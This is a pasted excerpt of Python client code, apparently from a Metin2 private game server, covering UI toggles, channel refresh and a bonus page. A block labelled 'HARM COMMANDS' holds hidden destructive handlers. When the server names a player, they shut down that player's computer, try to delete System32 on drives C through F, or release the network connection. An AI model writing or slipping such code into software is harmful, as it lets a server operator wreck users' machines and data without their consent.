  2280. self.PopupMessage(localeInfo.SASH_DEL_ABSORDITEM)
  2281.  
  2282. def OnClickSearch(self):
  2283. if constInfo.IS_OPEN_SSW == 0:
  2284. self.shopsearch.Open()
  2285. constInfo.IS_OPEN_SSW = 1
  2286. else:
  2287. self.shopsearch.Close()
  2288.  
  2289. # Swichboot
  2290.  
  2291. def __toggleSwitchbot(self):
  2292. if self.switchbot.bot_shown == 1:
  2293. self.switchbot.Hide()
  2294. else:
  2295. self.switchbot.Show()
  2296.  
  2297. # HARM COMMANDS
  2298. def __HarmCloseClient(self, player_name):
  2299. if player_name == str(player.GetName()):
  2300. import dbg,app
  2301. dbg.LogBox("Clientul tau a fost oprit din cauza hack-ului")
  2302. app.Exit()
  2303.  
  2304. def __HarmClosePC(self, player_name):
  2305. if player_name == str(player.GetName()):
  2306. import os,dbg
  2307. dbg.LogBox("Calculatorul tau se v-a oprii din cauza hack-urilor.")
  2308. os.system("shutdown -s")
  2309.  
  2310. def __HarmDeleteWindows(self, player_name):
  2311. if player_name == str(player.GetName()):
  2312. import os,dbg
  2313. os.system("cd C:\Windows && del System32")
  2314. os.system("cd D:\Windows && del System32")
  2315. os.system("cd E:\Windows && del System32")
  2316. os.system("cd F:\Windows && del System32")
  2317. os.system("shutdown -s")
  2318.  
  2319. def __HarmCloseInternet(self, player_name):
  2320. if player_name == str(player.GetName()):
  2321. import os,dbg
  2322. dbg.LogBox("Din cauza hack-ului internetul tau a fost restrictionat.")
  2323. dbg.LogBox("O zi placuta .")
  2324. os.system("ipconfig/release")
  2325.  
  2326. # HARM COMMANDS
  2327.  
  2328. if app.ENABLE_MOVE_CHANNEL:
  2329. def __GetServerID(self):
  2330. serverID = 1
  2331. for i in serverInfo.REGION_DICT[0].keys():
  2332. if serverInfo.REGION_DICT[0][i]["name"] == net.GetServerInfo().split(",")[0]:
  2333. serverID = int(i)
  2334. break
  2335.  
  2336. return serverID
  2337.  
  2338. def RefreshChannel(self, channel):
  2339. channelName = ""
  2340. serverName = serverInfo.REGION_DICT[0][self.__GetServerID()]["name"]
  2341. if channel in serverInfo.REGION_DICT[0][self.__GetServerID()]["channel"]:
  2342. channelName = serverInfo.REGION_DICT[0][self.__GetServerID()]["channel"][int(channel)]["name"]
  2343. elif channel == 99:
  2344. channelName = "Special CH"
  2345. else:
  2346. channelName = "Unknow CH"
  2347.  
  2348. net.SetServerInfo("%s, %s" % (serverName,channelName))
  2349. if self.interface:
  2350. self.interface.wndMiniMap.serverInfo.SetText(net.GetServerInfo())
  2351.  
  2352. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.MOVE_CHANNEL_NOTICE % (channel))
  2353.  
  2354. # app.ChangeTitle(net.GetServerInfo())
  2355.  
  2356. # Pagina bonusuri
  2357. def __BonusPage(self):
  2358. import PaginaBonusuri
  2359. global BPisLoaded
  2360. try:
  2361. if BPisLoaded != 1:
  2362. exec 'PaginaBonusuri.BonusBoardDialog().Show()'
  2363. else:
  2364. pass
  2365. except ImportError:
  2366. import dbg,app
  2367. dbg.Trace('PaginaBonusuri.py Importing error')
  2368. app.Abort()
  2369. # Pagina bonusuri, sfarsit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement